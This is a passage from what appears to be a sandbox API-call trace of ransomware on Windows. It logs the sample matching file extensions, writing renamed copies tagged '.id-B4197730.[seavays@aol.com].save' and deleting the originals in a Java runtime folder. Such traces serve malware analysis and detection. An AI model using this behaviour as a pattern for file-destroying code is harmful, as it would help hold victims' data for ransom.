lstrcmpiW (lpString1=".dbf", lpString2="Y.pf") returned -1 [0162.609] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0162.609] lstrlenW (lpString=".1cd") returned 4 [0162.609] lstrcmpiW (lpString1=".1cd", lpString2="Y.pf") returned -1 [0162.609] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0162.609] lstrlenW (lpString=".jpg") returned 4 [0162.609] lstrcmpiW (lpString1=".jpg", lpString2="Y.pf") returned -1 [0162.609] lstrcmpiW (lpString1=".properties", lpString2=".save") returned -1 [0162.609] lstrlenW (lpString="messages_pt_BR.properties") returned 25 [0162.609] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438 [0162.611] GetFileSizeEx (in: hFile=0x438, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=3285) returned 1 [0162.611] CloseHandle (hObject=0x438) returned 1 [0162.611] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties")) returned 0x20 [0162.611] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0162.612] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438 [0162.612] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0162.612] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0162.612] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c [0162.613] GetLastError () returned 0x0 [0162.613] ReadFile (in: hFile=0x438, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0xcd5, lpOverlapped=0x0) returned 1 [0162.615] WriteFile (in: hFile=0x43c, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0xce0, lpOverlapped=0x0) returned 1 [0162.617] ReadFile (in: hFile=0x438, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0162.617] WriteFile (in: hFile=0x43c, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x106, lpOverlapped=0x0) returned 1 [0162.617] SetEndOfFile (hFile=0x43c) returned 1 [0162.617] CloseHandle (hObject=0x43c) returned 1 [0162.617] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0162.617] SetEndOfFile (hFile=0x438) returned 1 [0162.622] CloseHandle (hObject=0x438) returned 1 [0162.622] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0162.623] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties")) returned 1 [0162.624] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0162.624] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0162.624] lstrlenW (lpString=".doc") returned 4 [0162.624] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0162.624] lstrlenW (lpString=".docx") returned 5 [0162.624] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0162.624] lstrlenW (lpString=".pdf") returned 4 [0162.624] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0162.624] lstrlenW (lpString=".xls") returned 4 [0162.624] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0162.624] lstrlenW (lpString=".xlsx") returned 5 [0162.624] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0162.624] lstrlenW (lpString=".ppt") returned 4 [0162.624] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0162.624] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0162.624] lstrlenW (lpString=".zip") returned 4 [0162.625] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0162.625] lstrlenW (lpString=".rar") returned 4 [0162.625] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0162.625] lstrlenW (lpString=".bz2") returned 4 [0162.625] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0162.625] lstrlenW (lpString=".7z") returned 3 [0162.625] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0162.625] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0162.625] lstrlenW (lpString=".dbf") returned 4 [0162.625] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0162.625] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0162.625] lstrlenW (lpString=".1cd") returned 4 [0162.625] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0162.625] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0162.625] lstrlenW (lpString=".jpg") returned 4 [0162.625] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0162.625] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0162.625] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0162.625] lstrlenW (lpString=".doc") returned 4 [0162.625] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0162.625] lstrlenW (lpString=".docx") returned 5 [0162.625] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0162.625] lstrlenW (lpString=".pdf") returned 4 [0162.625] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0162.625] lstrlenW (lpString=".xls") returned 4 [0162.625] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0162.625] lstrlenW (lpString=".xlsx") returned 5 [0162.626] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0162.626] lstrlenW (lpString=".ppt") returned 4 [0162.626] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0162.626] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0162.626] lstrlenW (lpString=".zip") returned 4 [0162.626] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0162.626] lstrlenW (lpString=".rar") returned 4 [0162.626] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0162.626] lstrlenW (lpString=".bz2") returned 4 [0162.626] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0162.626] lstrlenW (lpString=".7z") returned 3 [0162.626] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0162.626] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0162.626] lstrlenW (lpString=".dbf") returned 4 [0162.626] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0162.626] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0162.626] lstrlenW (lpString=".1cd") returned 4 [0162.626] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0162.626] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0162.626] lstrlenW (lpString=".jpg") returned 4 [0162.626] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0162.626] lstrcmpiW (lpString1=".properties", lpString2=".save") returned -1 [0162.626] lstrlenW (lpString="messages_sv.properties") returned 22 [0162.626] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438 [0162.627] GetFileSizeEx (in: hFile=0x438, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=3409) returned 1 [0162.627] CloseHandle (hObject=0x438) returned 1 [0162.628] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties")) returned 0x20 [0162.628] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0162.628] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438 [0162.628] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0162.628] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0162.628] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c [0162.629] GetLastError () returned 0x0 [0162.629] ReadFile (in: hFile=0x438, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0xd51, lpOverlapped=0x0) returned 1 [0162.632] WriteFile (in: hFile=0x43c, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0xd60, lpOverlapped=0x0) returned 1 [0162.633] ReadFile (in: hFile=0x438, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0162.633] WriteFile (in: hFile=0x43c, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x100, lpOverlapped=0x0) returned 1 [0162.633] SetEndOfFile (hFile=0x43c) returned 1 [0162.633] CloseHandle (hObject=0x43c) returned 1 [0162.633] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0162.633] SetEndOfFile (hFile=0x438) returned 1 [0162.638] CloseHandle (hObject=0x438) returned 1 [0162.638] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0163.324] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties")) returned 1 [0163.325] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0163.325] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0163.325] lstrlenW (lpString=".doc") returned 4 [0163.326] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0163.326] lstrlenW (lpString=".docx") returned 5 [0163.326] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0163.326] lstrlenW (lpString=".pdf") returned 4 [0163.326] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0163.326] lstrlenW (lpString=".xls") returned 4 [0163.326] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0163.326] lstrlenW (lpString=".xlsx") returned 5 [0163.326] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0163.326] lstrlenW (lpString=".ppt") returned 4 [0163.326] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0163.326] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0163.326] lstrlenW (lpString=".zip") returned 4 [0163.326] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0163.326] lstrlenW (lpString=".rar") returned 4 [0163.326] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0163.326] lstrlenW (lpString=".bz2") returned 4 [0163.326] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0163.326] lstrlenW (lpString=".7z") returned 3 [0163.326] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0163.326] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0163.326] lstrlenW (lpString=".dbf") returned 4 [0163.326] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0163.326] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0163.326] lstrlenW (lpString=".1cd") returned 4 [0163.326] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0163.326] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0163.326] lstrlenW (lpString=".jpg") returned 4 [0163.327] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0163.327] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0163.327] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0163.327] lstrlenW (lpString=".doc") returned 4 [0163.327] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0163.327] lstrlenW (lpString=".docx") returned 5 [0163.327] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0163.327] lstrlenW (lpString=".pdf") returned 4 [0163.327] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0163.327] lstrlenW (lpString=".xls") returned 4 [0163.327] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0163.327] lstrlenW (lpString=".xlsx") returned 5 [0163.327] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0163.327] lstrlenW (lpString=".ppt") returned 4 [0163.327] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0163.327] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0163.327] lstrlenW (lpString=".zip") returned 4 [0163.327] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0163.327] lstrlenW (lpString=".rar") returned 4 [0163.327] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0163.327] lstrlenW (lpString=".bz2") returned 4 [0163.327] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0163.327] lstrlenW (lpString=".7z") returned 3 [0163.327] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0163.328] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0163.328] lstrlenW (lpString=".dbf") returned 4 [0163.328] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0163.328] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0163.328] lstrlenW (lpString=".1cd") returned 4 [0163.328] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0163.328] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0163.328] lstrlenW (lpString=".jpg") returned 4 [0163.328] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0163.328] lstrcmpiW (lpString1=".jar", lpString2=".save") returned -1 [0163.328] lstrlenW (lpString="jfxrt.jar") returned 9 [0163.328] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0163.344] GetFileSizeEx (in: hFile=0x430, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=18246297) returned 1 [0163.344] CloseHandle (hObject=0x430) returned 1 [0163.344] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar")) returned 0x20 [0163.345] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0163.346] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id-b4197730.[seavays@aol.com].save")) returned 0 [0163.347] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0163.347] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0163.347] lstrlenW (lpString=".doc") returned 4 [0163.347] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0163.347] lstrlenW (lpString=".docx") returned 5 [0163.347] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1 [0163.347] lstrlenW (lpString=".pdf") returned 4 [0163.347] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0163.347] lstrlenW (lpString=".xls") returned 4 [0163.347] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0163.347] lstrlenW (lpString=".xlsx") returned 5 [0163.347] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1 [0163.347] lstrlenW (lpString=".ppt") returned 4 [0163.347] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0163.347] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0163.347] lstrlenW (lpString=".zip") returned 4 [0163.347] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0163.348] lstrlenW (lpString=".rar") returned 4 [0163.348] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0163.348] lstrlenW (lpString=".bz2") returned 4 [0163.348] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0163.348] lstrlenW (lpString=".7z") returned 3 [0163.348] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0163.348] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0163.348] lstrlenW (lpString=".dbf") returned 4 [0163.348] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0163.348] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0163.348] lstrlenW (lpString=".1cd") returned 4 [0163.348] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0163.348] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0163.348] lstrlenW (lpString=".jpg") returned 4 [0163.348] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0163.348] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0163.348] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0163.348] lstrlenW (lpString=".doc") returned 4 [0163.348] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0163.348] lstrlenW (lpString=".docx") returned 5 [0163.348] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1 [0163.348] lstrlenW (lpString=".pdf") returned 4 [0163.348] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0163.348] lstrlenW (lpString=".xls") returned 4 [0163.348] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0163.348] lstrlenW (lpString=".xlsx") returned 5 [0163.348] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1 [0163.348] lstrlenW (lpString=".ppt") returned 4 [0163.348] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0163.348] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0163.348] lstrlenW (lpString=".zip") returned 4 [0163.348] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0163.349] lstrlenW (lpString=".rar") returned 4 [0163.349] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0163.349] lstrlenW (lpString=".bz2") returned 4 [0163.349] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0163.349] lstrlenW (lpString=".7z") returned 3 [0163.349] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0163.349] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0163.349] lstrlenW (lpString=".dbf") returned 4 [0163.349] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0163.349] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0163.349] lstrlenW (lpString=".1cd") returned 4 [0163.349] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0163.349] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0163.349] lstrlenW (lpString=".jpg") returned 4 [0163.349] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0163.349] lstrcmpiW (lpString1=".jar", lpString2=".save") returned -1 [0163.349] lstrlenW (lpString="localedata.jar") returned 14 [0163.349] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0163.351] GetFileSizeEx (in: hFile=0x430, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=2204781) returned 1 [0163.351] CloseHandle (hObject=0x430) returned 1 [0163.351] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar")) returned 0x20 [0163.351] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0163.352] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id-b4197730.[seavays@aol.com].save")) returned 0 [0163.352] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0163.352] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0163.352] lstrlenW (lpString=".doc") returned 4 [0163.352] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0163.352] lstrlenW (lpString=".docx") returned 5 [0163.352] lstrcmpiW (lpString1=".docx", lpString2="a.jar") returned -1 [0163.352] lstrlenW (lpString=".pdf") returned 4 [0163.352] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0163.352] lstrlenW (lpString=".xls") returned 4 [0163.352] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0163.352] lstrlenW (lpString=".xlsx") returned 5 [0163.352] lstrcmpiW (lpString1=".xlsx", lpString2="a.jar") returned -1 [0163.352] lstrlenW (lpString=".ppt") returned 4 [0163.352] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0163.352] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0163.352] lstrlenW (lpString=".zip") returned 4 [0163.352] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0163.352] lstrlenW (lpString=".rar") returned 4 [0163.353] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0163.353] lstrlenW (lpString=".bz2") returned 4 [0163.353] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0163.353] lstrlenW (lpString=".7z") returned 3 [0163.353] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0163.353] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0163.353] lstrlenW 